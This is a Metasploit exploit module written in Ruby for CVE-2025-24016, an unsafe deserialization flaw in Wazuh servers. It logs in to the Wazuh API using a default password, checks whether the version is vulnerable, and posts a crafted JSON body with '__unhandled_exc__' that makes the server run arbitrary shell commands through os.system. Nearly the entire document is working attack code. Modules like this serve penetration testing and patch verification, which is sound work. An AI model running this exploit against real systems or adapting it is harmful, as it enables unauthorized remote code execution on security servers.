Wazuh server remote code execution caused by an unsafe deserialization vulnerability.

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Wazuh server remote code execution caused by an unsafe deserialization vulnerability.',
        'Description' => %q{
          Wazuh is a free and open source platform used for threat prevention, detection, and response.
          Starting in version 4.4.0 and prior to version 4.9.1, an unsafe deserialization vulnerability
          allows for remote code execution on Wazuh servers. DistributedAPI parameters are serialized
          as JSON and deserialized using `as_wazuh_object` (in `framework/wazuh/core/cluster/common.py`).
          If an attacker manages to inject an unsanitized dictionary in DAPI request/response, they can
          forge an unhandled exception (`__unhandled_exc__`) to evaluate arbitrary python code.
          The vulnerability can be triggered by anybody with API access (compromised dashboard or Wazuh
          servers in the cluster) or, in certain configurations, even by a compromised agent.
        },
        'Author' => [
          'h00die-gr3y <h00die.gr3y[at]gmail.com>', # Metasploit module & default password weakness
          'DanielFi https://github.com/DanielFi', # Discovery
        ],
        'References' => [
          ['CVE', '2025-24016'],
          ['GHSA', 'hcrc-79hj-m3qh', 'wazuh/wazuh'],
          ['URL', 'https://attackerkb.com/topics/piW0q4r5Uy/cve-2025-24016'],
          ['ATT&CK', Mitre::Attack::Technique::T1021_REMOTE_SERVICES]
        ],
        'License' => MSF_LICENSE,
        'Privileged' => false,
        'Targets' => [
          [
            'Unix/Linux Command',
            {
              'Platform' => ['unix', 'linux'],
              'Arch' => ARCH_CMD,
              'Type' => :unix_cmd
            }
          ]
        ],
        'DefaultTarget' => 0,
        'DisclosureDate' => '2025-02-10',
        'DefaultOptions' => {
          'SSL' => true,
          'RPORT' => 55000
        },
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS],
          'Reliability' => [REPEATABLE_SESSION]
        }
      )
    )
    register_options([
      OptString.new('TARGETURI', [true, 'Path to the wazuh manager', '/']),
      OptString.new('API_USER', [true, 'Wazuh API user', 'wazuh-wui']),
      OptString.new('API_PWD', [true, 'Wazuh API password', 'MyS3cr37P450r.*-'])
    ])
  end

  # get Wazuh API token
  # return token if API login is successful else nil
  def get_api_token
    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'security', 'user', 'authenticate'),
      'headers' => {
        'Authorization' => basic_auth(datastore['API_USER'], datastore['API_PWD'])
      }
    })
    return unless res&.code == 200 && res.body.include?('token')

    res_json = res.get_json_document
    res_json['data']['token'] unless res_json.blank?
  end

  # get the Wazuh version
  # return version if successful else nil
  def get_wazuh_version(api_token)
    api_auth = "Bearer #{api_token}"
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path),
      'headers' => {
        'Authorization' => api_auth.to_s
      }
    })
    return unless res&.code == 200 && res.body.include?('api_version')

    res_json = res.get_json_document
    res_json['data']['api_version'] unless res_json.blank?
  end

  # CVE-2025-24016: Command Injection leading to RCE via unsafe deserialization vulnerability
  def execute_payload(cmd, _opts = {})
    # {"__unhandled_exc__":{"__class__": "os.system", "__args__": ["cmd"]}}
    post_data = {
      __unhandled_exc__: {
        __class__: 'os.system',
        __args__: [ cmd.to_s ]
      }
    }.to_json

    send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'security', 'user', 'authenticate', 'run_as'),
      'ctype' => 'application/json',
      'headers' => {
        'Authorization' => basic_auth(datastore['API_USER'], datastore['API_PWD'])
      },
      'data' => post_data.to_s
    })
  end

  def check
    # check Wazuh API access with the API credentials
    api_token = get_api_token
    return CheckCode::Unknown('Can not access the Wazuh API with provided credentials.') if api_token.nil?

    version = get_wazuh_version(api_token)
    return CheckCode::Detected('Can not determine the Wazuh version.') if version.nil?

    version = Rex::Version.new(version)
    unless version >= Rex::Version.new('4.4.0') && version < Rex::Version.new('4.9.1')
      return CheckCode::Safe("Wazuh version #{version}")
    end

    CheckCode::Appears("Wazuh version #{version}")
  end

  def exploit
    print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
    execute_payload(payload.encoded)
  end
end